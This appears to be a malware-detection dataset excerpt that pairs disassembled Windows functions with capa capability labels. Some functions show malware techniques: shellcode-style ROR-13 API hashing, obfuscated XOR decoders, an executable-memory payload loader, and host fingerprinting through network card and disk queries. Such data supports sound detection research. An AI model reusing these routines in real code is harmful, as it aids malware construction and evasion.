joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100445b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10070e18
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x100911c8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
push 0x202
push dword [0x100b68d4]
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], 0
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.10009290
test eax, eax
je 0x100446d8
mov esi, dword [ebp - 0x18]
mov edi, dword [0x100b68d4]
mov dword [ebp - 0x10], 0
test esi, esi
je 0x10044683
cmp dword [esi], 0
je 0x10044676
push 0x100737c4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
jne 0x10044643
mov eax, 1
jmp 0x100446a4
push str.RegCreateKeyTransactedW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1004467c
push 0
push dword [esi]
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x10]
push ecx
push 0
push 0x20206
push 0
push 0
push 0
push edi
push reloc.OLEAUT32.dll_SysReAllocString
call eax
jmp 0x100446a4
cmp dword [esi + 4], 0
jne 0x10044683
mov eax, 1
jmp 0x100446a4
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0x20206
push 0
push 0
push 0
push edi
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x100446ce
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x100446b6
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x10]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], 0x200
test eax, eax
je 0x100446db
xor ebx, ebx
jmp 0x1004477f
mov esi, dword [ebp - 0x20]
xor ebx, ebx
jmp 0x1004477f
mov esi, dword [ebp - 0x20]
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov eax, dword [edi]
cmp dword [eax - 0xc], 0
je 0x10044738
mov ecx, dword [ebx]
test ecx, ecx
je 0x1004479e
push ecx
push eax
call fcn.1004df96
add esp, 8
test eax, eax
je 0x10044738
mov edx, dword [edi]
test edx, edx
je 0x10044738
mov ecx, edx
lea edi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10044710
sub ecx, edi
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push edx
push 1
push 0
push str.m2_old
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebx]
test edx, edx
jne 0x10044743
lea eax, [edx + 0xd]
jmp 0x10044778
mov ecx, edx
lea edi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10044750
sub ecx, edi
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push edx
push 1
push 0
push 0x1007cc5c
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor ebx, ebx
test eax, eax
sete bl
test esi, esi
je 0x1004478a
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.10008480
int3
Function at 0x10045e70
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov eax, dword [edi]
add eax, eax
mov dword [edi], 0
mov dword [ebp + 0x10], eax
lea eax, [ebp + 0x10]
push eax
push esi
lea eax, [ebp + 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10045ee1
mov eax, dword [ebp + 0xc]
cmp eax, 1
je 0x10045eaf
cmp eax, 2
jne 0x10045ecb
mov ecx, dword [ebp + 0x10]
test esi, esi
je 0x10045edb
test ecx, ecx
je 0x10045ed6
test cl, 1
jne 0x10045ecb
mov eax, ecx
shr eax, 1
cmp word [esi + eax*2 - 2], 0
je 0x10045edb
pop edi
mov eax, 0xd
pop esi
pop ebp
ret 0xc
xor eax, eax
mov word [esi], ax
shr ecx, 1
xor eax, eax
mov dword [edi], ecx
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x100472d0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ec
mov eax, dword [0x100911c8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x2ec], ebx
push edi
test ebx, ebx
je 0x100474d4
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x100474d4
push esi
push 0x64
lea eax, [ebp - 0x68]
push 0
push eax
call fcn.1004a6f0
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x2d8]
add esp, 0xc
push eax
push 8
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionNetworkCards
push reloc.OLEAUT32.dll_SysReAllocString
call esi
test eax, eax
jne 0x100474a9
xor edi, edi
mov dword [ebp - 0x2dc], 0x104
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x2dc]
push eax
lea eax, [ebp - 0x1d0]
push eax
push edi
push dword [ebp - 0x2d8]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x10047498
lea eax, [ebp - 0x2e0]
push eax
push 1
push 0
lea eax, [ebp - 0x1d0]
push eax
push dword [ebp - 0x2d8]
call esi
test eax, eax
jne 0x10047462
lea eax, [ebp - 0x2e4]
mov dword [ebp - 0x2e8], 1
push eax
lea eax, [ebp - 0x2d4]
mov dword [ebp - 0x2e4], 0x104
push eax
lea eax, [ebp - 0x2e8]
push eax
push 0
push str.ServiceName
push dword [ebp - 0x2e0]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1004745a
push 0x64
push eax
lea eax, [ebp - 0xcc]
push eax
call fcn.1004a6f0
push 0x64
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x2d4]
push eax
call fcn.100474f0
add esp, 0x18
test eax, eax
je 0x1004745a
cmp byte [ebp - 0x68], 0
je 0x1004741c
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jns 0x1004745a
lea ecx, [ebp - 0x68]
mov edx, 0x64
lea esi, [ebp - 0xcc]
mov eax, ecx
sub esi, eax
nop
lea eax, [edx + 0x7fffff9a]
test eax, eax
je 0x10047449
mov al, byte [esi + ecx]
test al, al
je 0x10047449
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x10047430
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ecx - 1]
test edx, edx
cmovne eax, ecx
mov byte [eax], 0
push dword [ebp - 0x2e0]
call ebx
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x2dc]
mov dword [ebp - 0x2dc], 0x104
push eax
lea eax, [ebp - 0x1d0]
inc edi
push eax
push edi
push dword [ebp - 0x2d8]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
je 0x10047370
push dword [ebp - 0x2d8]
call ebx
mov ebx, dword [ebp - 0x2ec]
mov edi, dword [ebp + 0xc]
cmp byte [ebp - 0x68], 0
pop esi
je 0x100474d4
lea eax, [ebp - 0x68]
push eax
push edi
push ebx
call fcn.100484c0
xor ecx, ecx
test eax, eax
pop edi
setns cl
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10030059
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop ebx
call fcn.10030059
mov esp, ebp
pop ebp
ret
Function at 0x10047610
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50c
mov eax, dword [0x100911c8]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x1004778f
cmp dword [ebp + 0xc], 0x20
jb 0x1004778f
push 0x400
lea eax, [ebp - 0x504]
mov dword [ebp - 0x50c], 1
push 0
push eax
mov dword [ebp - 0x508], 0x400
call fcn.1004a6f0
add esp, 0xc
lea eax, [ebp - 0x508]
push eax
lea eax, [ebp - 0x504]
push eax
lea eax, [ebp - 0x50c]
push eax
push 0x1007d078
push str.SoftwareMaster2Liveup
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
jne 0x1004778f
lea ecx, [ebp - 0x504]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100476a0
sub ecx, edx
cmp ecx, 0x40
jne 0x1004778f
lea edx, [ecx + 0x40]
push esi
lea ecx, [ebp - 0x84]
lea esi, [ebp - 0x504]
mov eax, ecx
sub esi, eax
lea eax, [edx - 0x60]
test eax, eax
je 0x100476dc
mov al, byte [esi + ecx]
test al, al
je 0x100476dc
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x100476c6
test edx, edx
lea eax, [ecx - 1]
lea esi, [ebp - 0x4e4]
mov edx, 0x80
cmovne eax, ecx
lea ecx, [ebp - 0x104]
mov byte [eax], 0
mov eax, ecx
sub esi, eax
nop dword [eax]
lea eax, [edx + 0x7fffff7e]
test eax, eax
je 0x10047719
mov al, byte [esi + ecx]
test al, al
je 0x10047719
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x10047700
test edx, edx
lea eax, [ecx - 1]
push 0x400
cmovne eax, ecx
push 0
mov byte [eax], 0
lea eax, [ebp - 0x504]
push eax
call fcn.1004a6f0
push 0x400
lea eax, [ebp - 0x504]
push eax
lea eax, [ebp - 0x84]
push eax
call fcn.100477a0
add esp, 0x18
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x504]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
pop esi
test eax, eax
jne 0x1004778f
lea eax, [ebp - 0x84]
push eax
push dword [ebp + 0xc]
push edi
call fcn.100484c0
neg eax
pop edi
sbb eax, eax
inc eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10030059
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop edi
call fcn.10030059
mov esp, ebp
pop ebp
ret
Function at 0x10048060
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2c10
call fcn.10030280
mov eax, dword [0x100911c8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c10], eax
test eax, eax
je 0x100481cd
cmp dword [ebp + 0xc], 0
je 0x100481cd
push ebx
push esi
xor ebx, ebx
xor esi, esi
push edi
nop dword [eax]
push esi
push str..PhysicalDrive_d
lea eax, [ebp - 0x104]
push 0x100
push eax
call fcn.10044530
add esp, 0x10
lea eax, [ebp - 0x104]
push 0
push 0
push 3
push 0
push 3
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x100481b0
push 0x2710
xorps xmm0, xmm0
mov dword [ebp - 0x2c0c], 0
lea eax, [ebp - 0x2bfc]
movq qword [ebp - 0x2c08], xmm0
push 0
push eax
mov dword [ebp - 0x2c00], 0
mov dword [ebp - 0x2c08], 0
mov dword [ebp - 0x2c04], 0
call fcn.1004a6f0
add esp, 0xc
lea eax, [ebp - 0x2c0c]
push 0
push eax
push 0x2710
lea eax, [ebp - 0x2bfc]
push eax
push 0xc
lea eax, [ebp - 0x2c08]
push eax
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x100481a5
push 0x3e8
lea eax, [ebp - 0x4ec]
push 0
push eax
call fcn.1004a6f0
lea eax, [ebp - 0x4ec]
push eax
push 1
push dword [ebp - 0x2be4]
lea eax, [ebp - 0x2bfc]
push eax
call fcn.100491c0
add esp, 0x1c
lea eax, [ebp - 0x4ec]
push eax
push dword [ebp + 0xc]
push dword [ebp - 0x2c10]
call fcn.100484c0
test eax, eax
mov eax, 1
cmove ebx, eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x100481ba
inc esi
cmp esi, 0x10
jl 0x100480a0
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10030059
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.10030059
mov esp, ebp
pop ebp
ret
Function at 0x100481e0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x100911c8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
test ebx, ebx
je 0x100482c8
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.1004a6f0
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov edx, eax
test edx, edx
je 0x100482c8
mov ecx, ebx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10048237
sub ecx, esi
mov eax, 0x103
sar ecx, 1
sub eax, ecx
cmp edx, eax
jae 0x100482c8
push edi
lea edi, [ebp - 0x20c]
add edi, 0xfffffffe
nop dword [eax + eax]
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x10048260
mov eax, dword [0x1007cf70]
mov esi, ebx
mov dword [edi], eax
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x10048275
lea edi, [ebp - 0x20c]
sub ebx, esi
add edi, 0xfffffffe
nop dword [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10048290
mov ecx, ebx
lea eax, [ebp - 0x20c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10030059
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.10030059
mov esp, ebp
pop ebp
ret
Function at 0x100482e0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x290
mov eax, dword [0x100911c8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x84]
push edi
push 0x80
push 0
push eax
call fcn.1004a6f0
push 0x80
lea eax, [ebp - 0x84]
push eax
push esi
call fcn.100477a0
lea ecx, [ebp - 0x188]
mov edi, esi
mov eax, ecx
add esp, 0x18
mov edx, 0x104
sub edi, eax
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x1004834a
mov al, byte [edi + ecx]
test al, al
je 0x1004834a
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x10048331
lea eax, [ecx - 1]
test edx, edx
cmovne eax, ecx
mov ecx, 0x104
mov byte [eax], 0
lea eax, [ebp - 0x188]
cmp byte [eax], 0
je 0x1004836b
inc eax
sub ecx, 1
jne 0x10048360
mov edx, 0x104
mov edi, ecx
mov eax, edx
sub eax, ecx
neg edi
sbb edi, edi
and edi, eax
test ecx, ecx
je 0x100483c0
lea ecx, [ebp - 0x188]
lea ecx, [ecx + edi]
sub edx, edi
je 0x100483b5
lea edi, [ebp - 0x84]
mov eax, SysReAllocString
sub edi, ecx
push ebx
nop dword [eax + eax]
test eax, eax
je 0x100483b4
mov bl, byte [edi + ecx]
test bl, bl
je 0x100483b4
mov byte [ecx], bl
dec eax
inc ecx
sub edx, 1
jne 0x100483a0
pop ebx
test edx, edx
lea eax, [ecx - 1]
cmovne eax, ecx
mov byte [eax], 0
push 0x100
lea eax, [ebp - 0x288]
mov dword [ebp - 0x290], 1
push 0
push eax
call fcn.1004a6f0
add esp, 0xc
mov dword [ebp - 0x28c], 0x100
lea eax, [ebp - 0x28c]
push eax
lea eax, [ebp - 0x288]
push eax
lea eax, [ebp - 0x290]
push eax
push 0x1007d078
push str.SoftwareMaster2Liveup
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov edi, dword [sym.imp.SHLWAPI.dll_SHSetValueA]
test eax, eax
jne 0x1004847a
lea eax, [ebp - 0x288]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x10048444
test cl, cl
je 0x10048440
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x10048444
add eax, 2
add esi, 2
test cl, cl
jne 0x10048424
xor eax, eax
jmp 0x10048449
sbb eax, eax
or eax, 1
test eax, eax
je 0x1004847a
lea ecx, [ebp - 0x288]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10048456
sub ecx, edx
lea eax, [ebp - 0x288]
push ecx
push eax
push 1
push str.mid_old
push str.SoftwareMaster2Liveup
push reloc.OLEAUT32.dll_SysReAllocString
call edi
lea ecx, [ebp - 0x188]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10048483
sub ecx, edx
lea eax, [ebp - 0x188]
push ecx
push eax
push 1
push 0x1007d078
push str.SoftwareMaster2Liveup
push reloc.OLEAUT32.dll_SysReAllocString
call edi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10030059
mov esp, ebp
pop ebp
ret

Function at 0x10066d5a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10066a1a

Function at 0x1006725a
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1006715f
Function at 0x405850
Capabilities:
Resolve function by parsing pe exports

Disassembly:
nop
mov esi, dword [edx + 0x28]
nop
movzx ecx, word [edx + 0x26]
xor edi, edi
nop
xor eax, eax
lodsb al, byte [esi]
nop
jmp 0x4056e2
cmp al, 0x61
jmp 0x4056f2
jl 0x405713
jmp 0x405703
jmp 0x405711
sub al, 0x20
ror edi, 0xd
nop
add edi, eax
jmp 0x405729
dec ecx
nop
jne 0x4056ce
jmp 0x405739
nop
push edx
nop
jmp 0x40574c
push edi
nop
mov edx, dword [edx + 0x10]
jmp 0x40575d
mov eax, dword [edx + 0x3c]
add eax, edx
jmp 0x40576f
mov eax, dword [eax + 0x78]
jmp 0x40577d
test eax, eax
nop
jmp 0x405791
je 0x40596f
nop
jmp 0x4057a3
jmp 0x4057af
add eax, edx
nop
jmp 0x4057c3
mov ebx, dword [eax + 0x20]
jmp 0x4057d7
mov ecx, dword [eax + 0x18]
jmp 0x4057e7
add ebx, edx
jmp 0x4057f8
push eax
jmp 0x405809
test ecx, ecx
nop
jmp 0x40581b
je 0x40595b
nop
xor edi, edi
dec ecx
nop
mov esi, dword [ebx + ecx*4]
nop
jmp 0x405838
add esi, edx
nop
jmp 0x40584b
xor eax, eax
nop
lodsb al, byte [esi]
nop
jmp 0x40585c
ror edi, 0xd
add edi, eax
jmp 0x40586d
cmp al, ah
jmp 0x40587f
jne 0x40584b
nop
jmp 0x405893
add edi, dword [ebp - 8]
cmp edi, dword [ebp + 0x24]
nop
jne 0x405809
nop
jmp 0x4058af
pop eax
nop
mov ebx, dword [eax + 0x24]
nop
jmp 0x4058c1
add ebx, edx
nop
mov cx, word [ebx + ecx*2]
nop
jmp 0x4058d3
mov ebx, dword [eax + 0x1c]
nop
jmp 0x4058e5
add ebx, edx
jmp 0x4058f4
mov eax, dword [ebx + ecx*4]
add eax, edx
mov dword [esp + 0x24], eax
jmp 0x405911
pop ebx
pop ebx
nop
jmp 0x405921
popal
pop ecx
nop
jmp 0x405936
pop edx
jmp 0x405945
push ecx
jmp 0x405958
jmp eax
nop
jmp 0x40596d
pop eax
nop
nop
pop edi
nop
jmp 0x405983
pop edx
nop
jmp 0x405999
mov edx, dword [edx]
nop
jmp 0x4056c2

Function at 0x405b63
Capabilities:
Encode data using xor

Disassembly:
inc eax
pop esi
xor dword [esi + 0xe], 0xce711636
sub esi, 0xfffffffc
loop 0x405b66
pop esp
bound ebp, qword [eax]
pop ss
fmul st(7)
add eax, 0xf04dc2ea
mov ebp, 0xf5d79625
xchg edi, eax
xchg ebp, eax
lcall 0xcd3, 0x48e2d432
mov bh, 0xf1
xor dl, 0x48
push cs
xchg edi, eax
int3
Function at 0x401690
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, edx
push edi
push 0
push dword [section..data]
mov dword [ebp - 8], edi
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, edi
shr ebx, 2
mov dword [ebp - 4], eax
test ebx, ebx
je 0x4016d4
mov edi, esi
mov ecx, eax
sub edi, eax
mov edx, ebx
mov eax, dword [edi + ecx]
mov dword [ecx], eax
lea ecx, [ecx + 4]
dec edx
jne 0x4016c3
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 4]
shl ebx, 2
cmp ebx, edi
jae 0x4016ef
mov edx, edi
sub esi, eax
lea ecx, [ebx + eax]
sub edx, ebx
mov al, byte [ecx + esi]
mov byte [ecx], al
lea ecx, [ecx + 1]
dec edx
jne 0x4016e4
mov eax, dword [ebp - 4]
lea esi, [edi - 8]
lea ecx, [eax - 8]
add ecx, edi
mov ebx, esi
mov edx, dword [ecx + 4]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ecx]
shr ebx, 2
and esi, 3
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
test ebx, ebx
je 0x401731
lea ecx, [ebx + edx]
mov edx, dword [eax]
movzx ecx, cl
ror edx, cl
mov ecx, dword [ebp - 8]
add eax, 4
xor edx, ecx
sub edx, ebx
mov dword [eax - 4], edx
mov edx, dword [ebp - 0xc]
dec ebx
jne 0x401714
test esi, esi
je 0x40173d
xor byte [eax], cl
lea eax, [eax + 1]
dec esi
jne 0x401735
mov edi, dword [ebp - 0x10]
mov edi, dword [edi - 4]
push edi
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, dword [ebp - 4]
mov esi, eax
mov edx, esi
mov ecx, ebx
call section..text
push ebx
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [ecx], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x8c2128
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x8c1ea3
and edx, edx
sub edx, edi
or edx, edx
call fcn.008c2169
or edx, edi
add edi, 0xeb75bef3
xor dword [ecx], esi
and edi, edx
add edx, 0x8ac718fc
sub edx, 0x941e3d63
inc ecx
add edx, edi
sub edx, edx
cmp ecx, ebx
jne fcn.008c2128
add edx, 0xf9eeb277
or edi, edi
mov edi, edx
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x403203
pop dword [ebp - 0x20]
mov eax, 0x175926c1
sub eax, 0x1718f4be
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x2a8493bd
add dword [ebp - 0x30], 0x23cdb18e
mov dword [ebp - 0x2c], 0x589d7434
add dword [ebp - 0x2c], 0xd995d811
mov dword [ebp - 0x28], 0x4a9568bb
sub dword [ebp - 0x28], 0xfe49248d
mov dword [ebp - 0x24], 0x94746848
add dword [ebp - 0x24], 0x6b8b97b8
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x72270667
add dword [ebp - 0x30], 0x24b62ef
mov dword [ebp - 0x2c], 0x7e430417
add dword [ebp - 0x2c], 0xc3295d5e
mov dword [ebp - 0x28], 0xeec9c5d0
add dword [ebp - 0x28], 0x74a5a69c
mov dword [ebp - 0x24], 0xdedd5566
add dword [ebp - 0x24], 0x2122aa9a
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xda1a0891
sub eax, 0xd9d997e9
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3328d
push 0
call eax
mov ecx, 0x86a84aae
sub ecx, 0x86a8106b
mov edi, eax
mov edx, 0xf698ded6
sub edx, 0xf657ded6
add edx, dword [ebp - 0x20]
mov esi, 0xc58477fb
mov dword [ebp - 0x18], 0x80bdd6e
mov ebx, dword [edx]
xor dword [ebp - 0x10], 0x8e53e358
sub ebx, esi
add dword [ebp - 4], 0xbc88de33
mov dword [edi], ebx
add dword [ebp - 0x14], 0x5d971a8e
add edi, 0xd201ac16
add edi, 0x2dfe53ee
add edx, 4
loop 0x40331a
add eax, 0x1319927c
sub eax, 0x1318b69d
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xb7f4f876
sub ecx, 0xb7b4f876
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x40893b
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x4085d8
sub esi, 0x4ebddab0
call fcn.00408975
sub ecx, 0xc4c27bd3
xor dword [eax], edi
sub ecx, 1
mov ecx, 0x177af2b7
add eax, 1
sub ecx, esi
dec esi
cmp eax, edx
jne fcn.0040893b
mov ecx, 0x4772c5e5
ret